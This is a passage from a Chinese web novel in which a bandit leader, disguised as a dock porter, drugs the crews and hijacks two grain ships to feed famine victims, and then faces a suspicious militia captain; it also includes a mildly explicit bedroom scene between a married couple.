“牛局长就是因为这件事才失去了王县长的信任,我担心大哥重蹈他的覆辙,这次筹集的粮食比上次还多,可还在县政府仓库里堆着呢,万一出点事,鞭子一定会抽在大哥身上。” 孙竹刚深有同感。 “兄弟,你为大哥考虑的太周到了,不过你放心,局里安排了几十名警察在仓库看守,不会有事的。” “大哥,你还是没懂我的意思,我是怕王正直的所作所为激起民变,到时候要是灾民闹将起来,你忍心对他们开枪吗?最后出了事不还是你的责任吗?” “哈哈,兄弟,你有所不知,今天下午王县长刚刚找我商量过此事,这些粮食明晚就装船运走。” “啊?上次就是因为在码头装船才出的事,这次不会再出问题吧?” “上次是牛得水无能,这次一定不会有问题,我专门从下边民团调上来二百名队员参与守卫,绝不会有问题。” “那我就放心了,这两天我真担心大哥出事,寝食难安,又怕嫂子担心,所以才不敢贸然去你家里。” “兄弟对大哥真是没话说,来,咱们再喝一杯。” 两人又干了一杯,孙竹刚眼神迷离,已醉了八九分。 “大哥,这么多粮食搬上船,码头那几个工人可不够用啊,需不需要兄弟给你雇些人过来?” “你这一说我正好想起来,王县长今天特意吩咐我雇一些可靠的短工,明天晚上到码头搬运粮食。” “这点小事就交给我吧,大哥放心,我一定办好。” “兄弟,这雇人的费用可不能太高,王县长那边不好交代。” “大哥,现在到处都是闲人,只要你管顿饭,他们都会抢着来,雇人的费用你正常报,大家自己留着就行。” “兄弟啊,还是你有办法,到时候咱们兄弟平分。” “大哥,你又这么见外,你得自罚一杯。” “好,哈哈,我甘愿受罚。” 李二狗叫了一辆黄包车把孙竹刚送回家,然后自己去医院陪了春花一晚。 第二天天刚蒙蒙亮,李二狗就上了清风寨。 议事厅内,其他人还没有到,只有李二狗和宋孬蛋两个人。 “孬蛋,最近山寨怎么样?” “各方面都很好,按照你的吩咐,咱们山寨定期让有亲人的兄弟下山给他们家里送粮食,现在大家都感恩山寨,纷纷表示愿意为山寨赴汤蹈火。” “还有呢?” “还有就是大家私下都在议论什么时候能放开找媳妇的禁令,大家这些天可都憋坏了,嘿嘿。” “我看是你小子憋坏了吧?这个不行,说好六个月就是六个月,命令如果朝令夕改,损失的是咱们这些做领导的权威。” “狗哥说得对,我再给他们紧紧箍,发现一例处理一例,绝不姑息。” “孬蛋,你可以例外,如果有看中的,可以私下里接触接触,我给你特批。” 其实这是李二狗在故意试探宋孬蛋。 宋孬蛋毫不含糊地说道:“谢谢狗哥关心,但命令是针对大家的,我作为领导,当然不能例外,否则难以服众。” “你小子行,我没看错人。” “嘿嘿,都是狗哥领导的好。” 两人正说话间,陈老三等人都走了进来。 宋孬蛋说道:“狗哥,人到齐了。” 李二狗正襟危坐,特意清了清嗓子。 “现在开始开会,事情紧急,咱们就不废话了,我直接分工,待会大家有什么意见,再提出来。” 李二狗安排完分工之后,大家都被他这个大胆的计划震惊了。 “狗哥,这能行吗?” “会不会太危险了?” “实在是没有把握啊!” 李二狗不等大家讨论完,便直接说道:“大家有更好的主意现在可以提出来,咱们共同研究。” 几个人面面相觑,然后都默不作声,谁都没有更好的主意。 “既然没有,那就这么决定了,大家分头去准备吧。” 第226章 腰都累断了 李二狗知道,自己回到清风寨如果不回家看看李素文,她肯定会生气。 他快步回到家中,李素文竟然没在家,望冬也不在。 李二狗正感觉奇怪的时候,后山突然传来几声枪响。 “哪里打枪?” 李二狗快步走了出去,正好碰见陈老三走了过来。 “老三,这是哪里在打枪?” 陈老三笑道:“狗哥,你不要紧张,是咱们山寨娘子军正在后山进行射击训练呢。” 李二狗当初之所以在清风寨建立娘子军,完全是为了解决山寨兄弟们的婚姻大事,没想到现在李素文却把自己全部的精力投入到这支娘子军的训练之中。 “训练就训练,打什么枪啊?子弹那么金贵!” 陈老三嘿嘿一笑,说道:“狗哥,嫂子要打,我们谁敢管?她就是要打炮,我们也不敢拦啊!” “这不行,回头你告诉孬蛋一声,分给娘子军的子弹不能太多,不然咱们山寨这点子弹不够她们嚯嚯的。” “狗哥,你最近是没见嫂子,她和望冬现在天天扎着皮带、绑着裤腿,腰里别着两把驳壳枪,那样子别提有多威武了,我看咱们还是不要打击她们的积极性,几颗子弹才值几个钱?千金难买她们高兴不是?嘿嘿。” “你狗日的真不会过日子,为了哄女人开心,什么都舍得!” “是啊,只有望冬开心,她就是要天上的月亮,我也能上天摘下来送给她。” “没想到你狗日的还是个情种,等忙完这件事,我和你嫂子说说,让你和望冬早日圆房。” “嘿嘿,谢谢狗哥,这一天我等得太久了。” “好了,别在我面前表演深情了,分给你的任务很重,赶紧去准备吧。” 李二狗看时间已经不早,便没有再等李素文,自己匆匆赶回了县城。 下午五点钟,一群人来到江东码头,宋孬蛋、陈嘎子、张石头等人夹杂在其中。 此时,江东码头警察林立、守卫森严。 从各地征调上来的民团队员在码头成群结队的巡逻,凤凰镇民团队长张大发正站在一个昏暗的路灯下抽烟。 码头入口处架着一挺机关枪,四名全副武装的警察持枪看守。 他们看到黑压压来了这么多人,立刻变得紧张起来,他们举着枪,对准了这群衣衫褴褛之人。 “站住!你们干什么的?” “老总,来,抽支烟。” 一个工头满脸堆笑走向岗哨,赶忙从兜里掏出一盒烟,抽出几支分给警察,警察根本不为所动。 “这里是码头重地,闲杂人等一律不许进入,你们赶紧离开,否则别怪我们子弹不长眼!” 工头点头哈腰地说道:“老总,我们是警察局孙局长雇来的短工,今晚来码头扛活的。” “那你们等着,我打电话问问。” 警察摸起岗亭的电话打给码头办公室,孙竹刚为了以防万一,亲自坐镇码头指挥。 听到来了一群短工,孙竹刚便知道是李二狗雇的人到了,说道:“把他们带到东边仓库,告诉他们不要随便走动。” 警察放下电话,吆喝道:“你们都跟紧我,进去之后不要乱走,否则后果自负,都听清楚了没有?” “老总,你放心,我们这些人懂规矩,来,您抽支烟。” 警察这才接过烟,工头赶紧擦了一根火柴点燃。 “我也是奉命行事,我们走吧。” 众人跟着这个警察来到东边一间仓库,仓库门口放着几筐馒头和窝头,饭香立即引起大家一阵骚动。 这时,孙竹刚亲自来到仓库。 “你们谁是领头的?” 工头依旧是一副点头哈腰的模样。 “老总,我是领头的,请您吩咐。” “你跟我过来一下,”孙竹刚把工头带到仓库一个角落里,低声问道:“工钱的事,来之前都给你们讲好了吗?” “老总,都讲好了,只需管饭,不用给工钱。” “那就好,不过你们放心,我绝对不会亏待你们,今晚的饭管够,但是你一定要嘱咐好他们,从这里出去之后,把嘴巴都给我闭紧喽,否则别怪老子不客气。” “老总放心,我们知道规矩。” “那就好,先去吃饭吧,吃完饭待在这里不许出去,干活的时候会有人来叫你们。” “谢谢老总,谢谢老总。” “看你小子挺机灵,今晚的饭就由你来分配吧,晚上把活干好,我不会亏待你。” “谢谢老总,请您放心,我一定把活干漂亮。” 孙竹刚离开后,工头站在饭筐前,大声说道:“大家排好队,都不要抢,老总说了,白面馒头每人一个,窝头管够。” 他找了两个相熟的人负责给大家分发馒头,每人一个,馒头刚发下去,很多人三两口就塞进肚子里。 他们已经很久没有吃顿饱饭了。 夜幕降临,码头上开始忙碌起来。 一辆一辆的大卡车接踵而至,工人们开始来回地往船上搬运小麦。 为了赶进度,两艘船同时停靠在码头上装小麦。 宋孬蛋把肩上一个麻袋放在甲板上,大口喘了几口气,才低声对身边一个戴着毡帽的人说道:“这一麻袋少说也有二百斤,这要真是扛上一晚上,咱们腰都累断了。” 那个人抬起头,竟是李二狗。 原来他不放心,自己也换了一身破烂衣服混在这群工人里面。 “孬蛋,我看你狗日的是好日子过多了,忘记自己出身了吧?” 李二狗嘴上这么说,自己也是累得腰都直不起来了。 “狗哥,我看就这样吧,咱们先找个地方猫起来。” “再等等,现在时间尚早,别让他们发现了。” 李二狗一发话,宋孬蛋只能硬着头皮继续去扛麻袋。 静雯从省城找来的两个人已经累得有些支撑不住了,他们哪受过这种罪! 两个人弯着腰,扶着船舷,大口大口地喘着粗气。 他们这个样子哪里像吃过苦的短工,一看就是城里出生的娇生惯养之人。 李二狗瞅准机会把他们两个人拉到一个角落里。 第227章 打劫轮船 “让两位兄弟受苦了。” “没有没有,我们还能坚持。” “你们听我说,待会你们瞅准机会,先找一个隐蔽的地方藏起来,记住,你们两个不要在一条船上,一定要分开。” “李先生放心,我们知道该怎么做。” “那边那几个人,你们在干什么?” 李二狗感觉这个声音好熟悉,一抬头,正看到张大发朝他们这边走来。 “你们赶紧走,我来拖住他。” “那你怎么脱身?” “你们别管我,我自有办法。” 李二狗说完,三个人就朝着不同方向跑去。 “那三个人,听见没有?给我站住!再不站住我就开枪了!” 张大发一边喊一边快步向李二狗跑去。 李二狗前方是轮船护栏,前面就是滔滔江水,他已无路可走。 他只能背对着张大发站在原地,他腰里带着家伙,可要是一开枪就前功尽弃了。 但如果被张大发认出来,自己就是有一百张嘴也解释不清。 脚步声越来越近,李二狗手心直冒汗! “双手举高,慢慢转过身来!” 李二狗只能举起双手,正当他还在犹豫要不要开枪击毙张大发的时候,身后突然传来一声“哎吆”声。 “对不起,老总,对不起,没砸伤您吧?” 李二狗转头看见宋孬蛋扛着一条麻袋砸到张大发身上。 “你他娘的瞎眼了?走路不看道吗?信不信老子一枪崩了你?” “对不起老总,对不起,刚才我走的太急了,这里又黑,没看到您,您就饶了我吧!” 张大发从地上爬起来,活动一下筋骨,并没有被砸伤。 “快滚!以后走路长点眼!” “谢谢老总,谢谢老总。” 张大发抬头看向前方,李二狗早已消失的无影无踪。 “真他娘的晦气!” 张大发总感觉刚才那个身影有点熟悉。 他站在船头,看着码头上来回穿梭的人群,寻找了半天,也没再看到那个身影。 一直忙活到凌晨五点所有的小麦才装卸完毕。 由于天还未亮,本来可以不再管饭就可以把这些短工打发走,但孙竹刚看到两艘货轮马上就要驶离码头,悬了一夜的心总算放了下来,他一高兴,又每人发了一个馒头三个窝头。 工头数人头的时候,发现少了六个人,但他并没有声张,代领了他们的馒头窝头,高高兴兴地离开了码头。 王正直来到江东码头,双手叉腰,看着装得满满的两艘货轮,兴奋地满面红光。 “孙局长,这件事你办得非常漂亮,我要重重的奖赏你。” 孙竹刚赶紧说道:“都是县长您领导有方,卑职只不过按照您的指示做了一些具体工作罢了。” “哈哈,孙局长就不要过谦了,你放心,跟着我王正直干,我绝不会亏待你。” “谢谢县长,卑职愿为您效犬马之劳。” “孙局长,事不宜迟,现在就让他们出发吧。” “县长,还有一件事,卑职还没来得及向您请示,每艘船我又安排了十名警察一路护送,听说魏县一带正在打仗,咱们不得不防啊。” “你做得非常好,孙局长,我没有看错你,那就出发吧。” 迎着初升的太阳,两艘船一前一后先后起锚驶向省城方向。 “开饭了。” 随着有人在大喇叭里一声吆喝,大家都纷纷跑向餐厅去吃早饭,特殊时期,轮船上的饭也是限量供应,去晚了就只能吃些残羹冷炙,轮船甲板上只剩下驾驶室的二副和一个水手。 一个人端着两份饭来到驾驶室。 “张二副,我把早饭给你们送来了。” 张二副点了点头,看着来人,问道:“你是新来的吗?我怎么看你有点眼生?” “是啊,我是厨房新来的,一直在后厨,张二副可能没有见过我。” “原来是这样,那你去忙吧。” “嘿嘿,没想到在驾驶室可以看得这么清楚,看那滚滚江水,真是气势磅礴啊,如果我也能像你们这样会开轮船就好了。” 张二副和水手哈哈大笑起来。 “你小子还算有点见识!不过你以为轮船是谁都能开的吗?开轮船得经过严格的培训,一般人没有个三年五载根本开不了。” “嘿嘿,我倒觉得开轮船也没那么复杂,和我在老家赶马车拉粪差不多。” “哈哈,你的无知真是令我无语啊!赶马车?哈哈,你来赶个我看看。” “试试就试试,本来就不难嘛!” 张二副仿佛受到了极大的侮辱,他高尚的的职业不允许一个小小的帮厨在这里指手画脚。 “你来,你要开不了,老子一脚把你踹江里去。” 没想到小帮厨还真走到船舵面前,在张二副瞠目结舌中,小帮厨已经熟练地转动起了船舵。 “确实不难嘛,和赶马车是一样的。” 张二副一把抢过船舵,质问道:“你到底是什么人?” “来替你开轮船的人!” “不许动!” 驾驶室的门突然被从外面一脚踢开,李二狗蒙着面持枪对准了他们。 张二副吓得后退两步,哆哆嗦嗦地问道:“你们是什么人?船上有很多警察你们难道不知道吗?” “哈哈,你放心,那些人现在正躺在餐厅里睡觉呢。” 原来李二狗安排人在米汤里下了蒙汗药,所有人现在都被迷倒了。 按照计划,李二狗和陈嘎子一组,李二狗负责控制驾驶室,陈嘎子负责控制锅炉房。 另一艘轮船由宋孬蛋和张石头负责,他们按照李二狗的提前部署采取了同样的方法。 省城来的两个人分别在驾驶室开着轮船。 “你们现在只要听我指挥,我可以保证你们的生命安全,否则只能把你们扔进江里喂鱼了。” “我们听,我们听。” 在李二狗的指挥下,这艘船停靠在了凤山镇码头。 码头上早已人山人海,黑压压一大片一大片,聚集了有好几千人。 宋孬蛋则指挥着把轮船停靠在汤泉镇码头,那里同样聚集了几千人。 船靠岸后,灾民们一哄而上,老弱妇孺扛起一袋二百多斤的麻袋都毫不费劲! 第228章 滥用职权 “王县长,不好了,出大事了!” 王正直正在办公室里哼唱定军山,孙竹刚直接推门冲了进来。 “孙局长,什么事这么大惊小怪?慢慢说。” “县长,有一个参与护送轮船的兄弟打电话回来,他们说……” 王正直预感到事情不妙,他猛地站起身子,失声问道:“他们说什么?” “他们说……他们说咱们的轮船被抢了!” 王正直坚持不敢相信自己的耳朵,两艘大轮船,那么多的小麦,怎么可能被抢? “你确定吗?有没有和省城发电报确认过?” “还没来得及,不过应该错不了,打电话的人亲口说的!” “他娘的!”王正直猛地一拍桌子,“谁吃了熊心豹子胆,敢抢老子的东西?” “他们说是……是灾民,他们说看到成千上万的灾民抢粮食。” “这怎么可能?!”王正直抓起桌上的茶杯愤怒地砸到对面的墙上,“灾民如何上得了轮船?那可是整整一百万斤小麦?他们怎么可能做得到?” “这个目前还不知道,他们说有人在轮船餐厅饭菜里下了蒙汗药,所有的人全被药倒了。” 这两艘轮船是王正直通过自己在省城的关系找来了,难道轮船上的人有问题不成? “孙局长,你马上去现场查查有没有什么线索,另外,不论是轮船上的人还是护送的那些人都要挨个审查,不要放过任何一个蛛丝马迹。” “是,县长,我马上去办。” 孙竹刚走后,王正直瘫坐在椅子上,两行浊泪顺着脸颊流了下来。 一百万斤小麦,四十万块大洋,就这么没了! 他的心在滴血,心痛得几乎无法呼吸。 孙竹刚带人来到凤山镇码头,码头上一片狼藉,一艘货轮还停靠在码头上。 看到有警察来,船长付志高急忙跑了过来去。 货船被劫,而且锅炉房还被人破坏,他的船抛锚了,只能在原地等待。 “老总,你们可算来了,我们被歹徒抢劫,船上的小麦全被抢劫一空,您得快点派人把货给追回来啊。” “你慢点说,到底是怎么一回事。” “我也不知道是怎么回事,今天早上我们吃饭的时候,不知道什么原因就晕了过去,事后想想应该是被人下了药。” “谁下的药?” “肯定是抢劫之人下的药。” “有没有人见过歹徒的相貌?” “有,我们船上的二副见过。” “快去把他叫来。” 付志高冲着一个人大声喊道:“张二副,你过来一下。” 张二副到现在脑子还是懵的,他是被吓懵的。 李二狗虽然一直蒙着面,但开船的那个人却露出了自己真实面目。 为了安全起见,李二狗本想把二副和水手都杀了,但那样确实有滥杀无辜之嫌。 下船之前,李二狗警告他们,说知道他们是哪个轮船公司,家住在哪里,他们都一清二楚,如果你们不想死于非命,就闭紧自己的嘴巴。 “你就是张二副?” “是的,老总,我就是。” “你见过歹徒的相貌?” “我见过,他们闯进驾驶室的时候,我正在开船,但是他们当时都蒙着面,我并没有看到他们长什么样。” “娘的,你这也叫见过?一群废物!” “对不起,老总,不过有一点我可以肯定,他们肯定不是我们船上的人。” “怎么?你怀疑是我们的人?” 张二副吓得连连摆手。 “不敢,不敢,我不是这个意思,我的意思是他们应该是偷偷上船的人。” 孙竹刚立马想到了那群打短工的人,歹徒很可能是借搬运小麦的机会偷偷躲在船舱里,然后等轮船开走后又动的手。 “现场到底有多少灾民?” “得有上万人,”张二副夸张地说道,“当时轮船靠岸后,有人就指挥着这些人从船上搬运粮食,一看就是提前预谋好的。” “看清那个指挥的人长什么样了没有?” “他们蒙着面,看不清长相。” 又他娘的蒙着面! “你们船上的人都有嫌疑,必须全部跟我回局里调查。” “老总,我们是受害者啊,怎么还要审查我们?你们这样涉嫌滥用职权。” “什么他娘的滥用职权?在江东这个地面上就是老子说了算,”孙竹刚转头对一个警察说道:“把他们全部带回局里。” “孙局长,”那个警察一脸为难,“这么多人,咱们的车拉不下啊。” “废物,赶紧打电话让局里再派车过来,另外去把汤泉镇码头的人也带到局里去” 孙竹刚说完,不再理会付志高的喊冤,独自去了凤山镇。 进入凤山镇,街道上很安静,并没有成群结队的难民,这让孙竹刚惊讶不已。 县城尽管实行严管,但街上还是有很多乞讨的难民,这里街道上竟然没有灾民! 不过街道两旁大量紧闭的店门,证明这里和其他地方一样,也在经历着大萧条。 好不容易看到有一家开门的铁匠铺,孙竹刚便走了进去。 “老哥,生意怎么样?” 铁匠是一个黑黝黝的中年汉子,身形消瘦,不像是能打铁之人。 他没有说话,只是指了指烧铁的炉子,那里早已没有一点火星。 “老哥,前两天我来这里,还看到街上很多乞讨的人,现在怎么都没有了?” 铁匠用看外星人一样的眼神瞅着孙竹刚,说道:“你这人说话可真有意思,你是真不懂还是装不懂?家里有粮了,谁还在外边乞讨?” 铁匠的话证明了孙竹刚的判断。 “你是说从船上搬来的粮食?” 铁匠狐疑地盯着孙竹刚,没有说话。 孙竹刚连忙叹息一声,解释道:“哎,实在是可惜,我得到消息的时间去晚了,赶到的时候一粒粮食也没有拿到,想死的心都有了。” “点背不能怨社会,那是你自己的原因。” “老哥,你说以后还会不会有这种机会?我家也在等米下锅啊。” “那谁能知道?估计是没有了,这种好事怎么可能经常有!” “那老哥知不知道是什么人做的?我想去找他们问问,能不能送我一点粮食。” “这个我就不知道了,都是一传十,十传百才得到的消息,谁知道最早是谁传出来的?你到底买不买东西?不买我就关门了。” 孙竹刚只能悻悻地走出了铁匠铺。 第229章 今生离不开你 孙竹刚刚回到警察局,就被牛得水叫去了办公室。 牛得水此时颇有一股幸灾乐祸看热闹的嫌疑。 “孙局长,事情办得怎么样了?” “牛局长,我刚从案发现场回来,现在还没有找到线索。” “我敢肯定还是上次那伙人干的,他们可真是神通广大,简直让我们防不胜防啊。” 孙竹刚心想,上一次是因为你看守码头不力出的事,这次出事是在轮船上,和自己的关系并不大。 “现在还不能确定是什么人干的,我已经把轮船上的人都带了回来,先审审看吧,我总觉得这件事是内部人所为。” “内部人?孙局长,你说话可要谨慎啊,上次出事可没有这家轮船公司参与。” 其实孙竹刚也知道不可能是轮船公司的人所为,因为他们不可能为了灾民选择铤而走险! 但是出了这么大的事他又不能什么都不做,那样会显得他很无能。 其实在内心深处,他怀疑歹徒是混入做短工那群人中间混上的轮船,但那群短工是李二狗找的,李二狗又是按照他的要求找的,这件事如果被某些有心人利用,对自己很不利。 所以这个疑点他没有告诉任何人。 孙竹刚现在所做的一切并不是为了破案,而是做给王正直看。 歹徒把小麦劫下来救济灾民,孙竹刚内心是敬佩他们的侠义心肠。 即使自己真找到什么线索,他也会睁一只眼闭一只眼,并不打算把歹徒缉拿归案。 “牛局长,我只是随口一说,不过这件事确实蹊跷,歹徒对我们的行动好像了如指掌。” “孙局长,这个案子就交给你全权负责,你不要让王县长失望才好。” 孙竹刚暗骂一句老油条,遇见事就往外推。 “牛局长,这么大的案子,我建议还是由您亲自坐镇指挥,我全力配合你。” “孙局长就不要谦虚了,我老了,我这个位置早晚是你们年轻人的。” “牛局长,警察局要是没有你坐镇,那不得乱套了?您是我们的主心骨。” 牛得水现在颇有些破罐子破摔的感觉,既然县长已经不信任他,他就干脆什么都不干。 “好了,这事不争论了,就由你负责,有什么进展直接向王县长汇报。” 说完,他端起桌前的茶杯,吸溜吸溜地喝起了茶,孙竹刚只能退了出来。 他安排人把轮船上的人挨个都审了一遍,又把在轮船上值守的警察也筛检了一遍,全部没有发现异常。 清风寨议事厅。 “狗哥,这次这事干得太漂亮了,这一百万斤粮食,够灾民们吃一段时间了。” 陈老三还没有从兴奋中缓过来。 但李二狗知道,冬天还未到来,他们做的这些,在这么大的灾情面前只是杯水车薪。 “孬蛋,下一步,咱们山寨要节省开支了。” “狗哥,咱们山寨存的粮食,应付到二三年没问题,你不用担心。” “马上就到冬小麦播种时节,如果错过这次机会,灾民们明年就更难过了。” 宋孬蛋马上了解了李二狗的担忧,现在灾民食不果腹,哪里还有麦种进行播种。 “狗哥,你是想等播种的时候把咱们的粮食分给灾民?” “先走一步看一步吧,这么大的灾情,我想省政府也不会总压着不上报,到时候救济粮拨下来,一切问题就都解决了。” 话题过于沉重,很快就散了会。 李二狗往家走,陈老三紧紧跟着他。 “老三,你狗日的跟着我干什么?该干嘛干嘛去!” 陈老三嘿嘿一笑,说道:“狗哥,你答应我要和嫂子说说的。” “说什么?” “你忘了?我和望冬的事。” 李二狗还真忘了。 “当然没忘,我正准备去和你嫂子商量这件事。” “谢谢狗哥,嘿嘿。” “房子的事你得抓点紧,兄弟们还等着住。” “我一直盯着的,不过咱们人手太少,又不方便在外边找人,没有个一年半载根本建不完。” “尽量往前赶吧,你别跟着我了,你在的话,有些话我不好说。” 陈老三便知趣地离开了,李二狗回到家中,望冬正在院子里洗衣服。 “狗哥,你回来了。” “嗯,你素文姐呢?” 望冬向屋里努了努嘴。 “正在屋里洗澡呢,刚才我们训练出了一身汗。” 李二狗笑了笑,便推门走了进去。 “说让你进来的?快出去。” 李二狗看到李素文坐在热气腾腾的澡盆中,下意识地双手捂在胸前,一脸娇羞。 “嘿嘿,都老夫老妻了你还怕我看?你什么地方我没看过?” “你讨厌!快出去,人家洗澡有什么好看的!” “我给你搓搓背,你够不着。” 李二狗说着已经走到澡盆前,手触摸着她光滑细腻的后背,李素文不自主地颤抖了一下。 “你的皮肤真白嫩,就像婴儿一般。” 李素文娇嗔道:“净胡说,说得好像你摸过婴儿的肌肤似的。” “我……”李二狗差点脱口而出他摸过,“我虽然没有摸过婴儿的肌肤,但我看的书上是这么写的。” “你都看些什么乱七八糟的书?不学好。” “金瓶梅可是一本好书,我好多技巧和姿势都是跟这本书上学的,你不是一直都说好用吗?” “你……你坏死了,”李素文站起来用手掬水泼在李二狗脸上,“让你坏,让你坏。” 李二狗伸出舌头舔了舔脸上的水珠,故意露出一副淫邪的样子。 “我喜欢喝你的洗澡水。” “你……” 李素文赤身裸体地站在澡盆中,胸前波涛汹涌,李二狗一低头就拱了上去。 “你讨厌!你讨厌!不要……” 李素文闭上眼睛,一副享受的表情。 完事后,李二狗问道:“怎么样?满意吗?这也是金瓶梅这本书上教我的。” “你……我不理你了。” 李二狗从后面抱住李素文,趴在她耳边柔声说道:“素文,有你真好,真想就这么抱着你一辈子。” 李素文感受到李二狗的炽热,柔声回应道:“今生我是离不开你了!只希望你能真心对我。” “我会的!” 两人又翻滚在一起。 第230章 李二狗失态 两人嬉闹了一会儿,李素文躺在李二狗怀里。 “素文,老三和望冬的事,咱们给他们选一个好日子就把事办了吧?我看老三天天急得像猫抓似的。” “嘁,你们男人天天就想着下面那点事!” “我不能自己吃饱喝足让兄弟饿出病来不是?他们也都老大不小了,此事不能再拖了!” “回头我问问望冬自己的意思吧,这事毕竟还得她自己做主,然后再去查查黄历看看哪天合适。” 李素文说完竟有点伤感。 “怎么还哭了?望冬又不是远嫁,天天都能见。” “她就像我的亲妹妹,现在要嫁人了,还不让人难过一下吗?哼!” 李二狗从后面紧紧抱着李素文。 “好了,大白天就在床上腻歪,也不怕让人笑话,我要起床了。” “我搂自己媳妇睡觉谁笑话?咱们再睡会。” 李素文笑道:“你自己睡吧,我去找望冬。” 李二狗只能一起起了床。 两人在院子里并没有找到望冬。 “这丫头去哪了?我出去看看。” “我也得回胡家大院,最近不太平。” 李二狗刚到胡家大院门口,就听到身后有人喊他。 回头一看,是张大发。 “张队长,你怎么来了?找我有事?” “李管家,你这大忙人,我都来找你好几趟了,一直见不到你。” 张大发觉得刚才李二狗的背影有点熟悉,很像他在轮船上看见的那个人。 难道…… 如果真是李二狗干的,那他真是狗胆包天了!竟敢抢劫县长的粮食! 李二狗并没有看出张大发脸上的惊讶之色,忙道歉道:“实在是不好意思,我们老爷在省城住院,我这得两头跑。” 张大发话里有话地说道:“这么大的胡家大院,全靠李管家一个人撑着,实在是辛苦啊。” “吃人家老胡家的饭,就得给人家干!这也是没有办法的事。别在这站着了,咱们里面说。” 两人来到客厅,张大发愈发觉得李二狗的身形和他那晚在轮船上见到的人非常相似。 “张队长,不知道找我所为何事?” “李管家,上次在沈家大院和你说的那事,你考虑的怎么样了?” 李二狗早就料到张大发此行的目的就是为了联防联保的事。 “我和我们大奶奶汇报过了,大奶奶觉得你们驻扎在凤凰镇,离我们胡家大院有点远,真出了事时间上来不及。” 张大发急忙说道:“凤凰镇到这里,骑马的话也就半个钟头,其实很方便的。” “我和她也是这么说的,你张队长的人品和你们民团的实力我都是非常认可的,我非常想促成此事,可我们大奶奶不同意,我也实在是没有办法。” 张大发脸上有些不痛快,他知道李二狗是在敷衍他。 整个江东都知道,胡家大院现在是李二狗说了算。 “李管家,你是不是还有什么顾虑?” “绝对没有!咱们是兄弟,我对你是非常认可的,可……,要不这样,等我们老爷回来,我再向他请示请示,女人头发长,见识短,和她讲不明白道理。” “是价钱上不合适?”张大发眼睛看了看门外,低声说道:“李管家,咱们三七分怎么样?” 李二狗没想到张大发如此执着。 自从沈家大院出事之后,沈必达对张大发一肚子意见,每个月给的钱粮比以前少了五成,他现在日子不好过! “张队长,你想到哪里去了?你说这话可没把我当兄弟看待!” 张大发急忙解释道:“李管家,你别误会,我不是那个意思,我只是想尽快促成此事,你也知道,最近难民成群结队,晚上实在是不安全。” 李二狗前两天已经给吴有德发了电报。 吴有德已经派人把两挺机关枪,二十支中正步枪,还有几千发子弹送到了胡家大院,现在的胡家大院是真用不着张大发和他的民团。 “张队长,你说的这些我都知道,可大奶奶死活不同意,我真是没有办法。要不这样,我再找我们大奶奶说说,你等我消息好不好?” 张大发内心非常失望,他一直以为和胡家大院的合作是水到渠成的事情,没想到李二狗竟然不愿意。 “李管家,你这两天到底去哪了?”张大发突然问道。 李二狗内心一惊,表面却很镇静,他笑着问道:“不知道张队长这话是什么意思?” 张大发冷笑道:“李管家不要紧张,我只是随便问问,昨天有两艘货船在江上被抢了,想必李管家一定听说了吧?” “听说了,听说还是江东县政府租的货船。” “李管家以为是什么人干的?” 张大发一直暗中观察着李二狗的表情,他显得非常镇静。 他表现的越是镇静,张大发感觉他心里越有鬼! 这种事,普通人听到都是惊讶不已,而李二狗却并没有表现出一丝惊讶! 事出反常必有妖! “张队长,这你得去问警察局,我一个小老百姓怎么能知道?” “李管家可能还不知道,这次县警察局抽调了部分民团去江东码头参与警卫,我有幸被选中。” “张队长的实力有目共睹,抽调你去参与此事实至名归。” “呵呵,李管家就没去码头吗?” “张队长,你到底想说什么?不妨直说,我都被你说糊涂了,我又不是警察又不是民团队员,我去码头干什么?” 张大发盯着李二狗,故意说道:“李管家可以去扛麻袋啊,哈哈!” 李二狗心想,那晚张大发只是看到了自己的背影,难道他能认出自己? 这不可能!江东县和自己身材相似的男人没有一千,也有八百,他怎么可能认出来! 张大发是在诈他!诈他的目的是威胁他! “张队长不要开玩笑了,我们胡家大院目前虽然日子虽不好过,但也不至于让我出去扛麻袋!” “李管家,那晚我在码头看见一个人的背影和你一模一样!” 李二狗拍案而起。 “张队长,饭可以乱吃,话可不能乱说!” “呵呵,李管家你激动什么?我只是说有个人的背影和你很像而已!” 李二狗这才意识到自己失态了! 第231章 你和他们不是一伙的吗 “张队长,你这话到底是什么意思?” 张大发笑道:“李管家,虽说现在警察局正在满世界寻找抢劫之人,但你我是兄弟,你放心,我是绝对不会出去乱说的。” 很明显,张大发是在威胁李二狗。 李二狗在头脑中快速回想了一下那天晚上的情景,他确信自己并没有暴露。 但是李二狗犯了一个非常致命错误,当时为了雇短工,他找了一个工头,他不能确定那天晚上工头有没有看见自己。 如果被工头看见,李二狗就很难解释清楚自己为什么伪装成短工去扛麻袋! 李二狗决定先稳住张大发。 “张队长,关于你们民团和我们胡家大院合作之事,我个人是非常赞成的,你放心,我会再和我们大奶奶商议商议,三天后给你回复好吗?” 李二狗的示弱,更加重了张大发对李二狗的怀疑。 难道真的是李二狗干的? 他面上不显,笑着说道:“我都不知道该怎么感谢李管家了,你放心,兄弟我绝对不是一个吃独食之人,好处还是咱们兄弟俩分。” 李二狗笑道:“那我就多谢张队长了,我让他们准备点酒菜,今天咱们兄弟不醉不归。” 张大发站起来,说道:“民团那边还有很多事情等着兄弟我回去处理,你改天去我那,我请李管家喝茅台。” “哈哈,那我就不留张队长了,我送你出去。” “李管家,请留步,我等你的好消息。” 看着张大发离去的背影,李二狗突然觉得自己刚才态度转变的有些太突然了,如果他拒绝到底,张大发反而会打消对他的怀疑。 先是拒绝后又给对方承诺,那肯定是心里有鬼。 “李二狗啊李二狗,”他心里不停地埋怨自己,“你做事怎么能这么幼稚!” 想到这,李二狗没有停留,他直接骑马去了县城。 上次那个工头是李二狗在县城一处破旧的关帝庙偶然遇见的,那个人以前是江东杆子帮的一个小头目。 他再次来到关帝庙,里面空空如也,一个人都没有。 不过看里面的情形,应该是有人住。 李二狗坐在关帝庙门口一直等到半夜,一群人才回到关帝庙,那个工头就夹杂在他们中间。 “你找谁?” “我找他。”李二狗指着工头说道。 工头站出来,仔细打量着李二狗。 “奥,我记起来了,你就是那天那个雇主。” 李二狗从工头的言行举止中并没有发现什么异常,如果他那天晚上发现李二狗的话肯定不是这个神情。 “这位大哥好记性,确实是我。” “先生,你又要雇短工吗?这次要多少人?” 李二狗说道:“这位大哥,咱俩能不能单独聊聊?” 工头愣了一下,随即说道:“你们先进去吧。” 李二狗和工头来到一个角落里。 “大哥,敢问怎么称呼?” “我叫秀才,先生,你找我到底什么事?” “秀才大哥,”李二狗神情严峻,“相信你也听说了,那天晚上的两艘货船在半路上被人抢劫了。” 